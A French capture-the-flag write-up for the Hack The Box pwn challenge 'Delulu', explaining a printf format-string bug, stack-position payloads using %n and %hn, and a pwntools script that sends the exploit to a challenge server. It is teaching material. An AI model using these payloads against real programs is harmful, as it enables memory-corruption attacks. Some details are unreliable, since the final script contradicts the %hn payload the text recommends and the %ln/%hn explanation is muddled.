Delulu

Catégorie: Pwn Difficulté: very-easy Flag: HTB{m45t3r_0f_d3c3pt10n}

Challenge

Description


HALT! Recognition protocol initiated. Please present your face for scanning.

Analyse du binaire

Décompilation et objectif

Après décompilation on obtient :

int main(void) {
  long lVar1;
  long in_FS_OFFSET;
  long target;
  long *target_address;
  char buffer [0x20];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  target = 0x1337babe;
  target_address = ⌖
  
  read(0x0,buffer,0x1f);
  printf("\n[!] Checking.. ");
  printf(buffer);
  if (target == 0x1337beef) {
    delulu();
  }
  else {
    error("ALERT ALERT ALERT ALERT\n");
  }
  
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return 0x0;
}

L’objectif ici est de modifier notre variable target pour qu’elle passe de 0x1337babe à 0x1337beef

Il faut passer par printf pour exploiter le binaire et écrire dans la stack. Pour cela on va utilise %n qui permet de faire exactement cela si l’on connaît l’adresse de notre cible. Une chance que dans le code on est une variable target_address qui contient exactement ce que l’on veut et qui se situe juste après.

Pourquoi printf est exploitable ? Parce que notre input n’est pas vérifier et que cette fonction permet de formatter la sortie, c’est à dire que printf("test n°%d", n) remplacera le %d par le premier argument. Et le première argument c’est quoi ? C’est ce qui se situe juste avant dans la stack. Et donc si on entre un format spécifique, la fonction ira chercher d’elle même dans la stack pour remplacer. Ainsi si on entre "%x %x %x" (%x permet d’afficher en hexadécimal la valeur de l’argument) ****la fonction ira récupérer les 3 éléments juste avant elle dans la stack pour les afficher. On peut donc leak des infos présentes en mémoire mais pas que…

Trouver l’adresse cible

On commence donc par repérer l’emplacement dans la stack notre target pour regarder ensuite son adresse (qui sera donc juste à côté grâce à l’autre variable). Pour ça on envoie : %x %x %x %x %x %x %x %x %x %x %x %x %x

On trouve donc notre cible en 6ème position (en bleu) et son adresse en 7ème (en vert).

Tester ses payload et comprendre l’injection

Pour vérifier ce que l’on envoie, on peut utiliser GDB en local. J’ai placé un breakpoint juste avant la comparaison :

On voit que la comparaison se fait entre RAX et 0x133tbeef et dans notre registre nous avons bien 0x133tbabe .

Essayons maintenant avec le payload AAAA%7$n (le %7$n permet de spécifier que l’on veut écrire dans le 7ème argument, donc le 7ème emplacement de notre stack, sans avoir à placer 6 %n avant) :

Maintenant notre registre contient 4, pourquoi ? Parce que l’on a envoyer 4 caractères avant notre %n

Ca voudrait dire qu’il faut envoyer 0x133tbeef soit 322420463 caractères avant notre %7$n alors que notre buffer n’en fait que 32 ??

Et bien non, on peut utiliser %x pour cela, envoyer %42x signifie créer un padding de 42 caractères et donc printf créera 42 caractères avant le %7$n

Donc le bon payload est %322420463x%7$n ?

Oui… mais non, si l’on fait ça, écrire autant de caractères pour le programme ça va être long. Heureusement on peut choisir d’écrire uniquement dans une partie de l’adresse, soit en bas avec %ln soit en haut avec %hn

Renvoyons notre payload d’avant avec cette modification : AAAA%7$hn

On voit que le 0x1337 est bien resté, on a écrit dans le haut de l’adresse, c’est à dire les bytes faibles.

Il nous suffit maintenant de n’envoyer “que” 0xbeef soit 48879 caractères.

Notre payload final est donc maintenant : %48879x%7$hn

Et voilà, notre comparaison pourra maintenant fonctionner sans soucis. Plus qu’à envoyer ce payload au vrai serveur

Script de résolution

from pwnlib.tubes.remote import remote

def solve(host, port):
	client = remote(host, port)
	client.recvuntil(b'>> ')

	payload = f"%{0x1337beef}x%7$n".encode()
	print(payload)
	client.send_raw(payload)

	flag = client.recvall().decode().rsplit(': ')[1].strip()
	print(f"Flag: {flag}")

if __name__ == '__main__':
	solve('83.136.252.32', 38736)

Dernière mise à jour

Cet article vous a-t-il été utile ?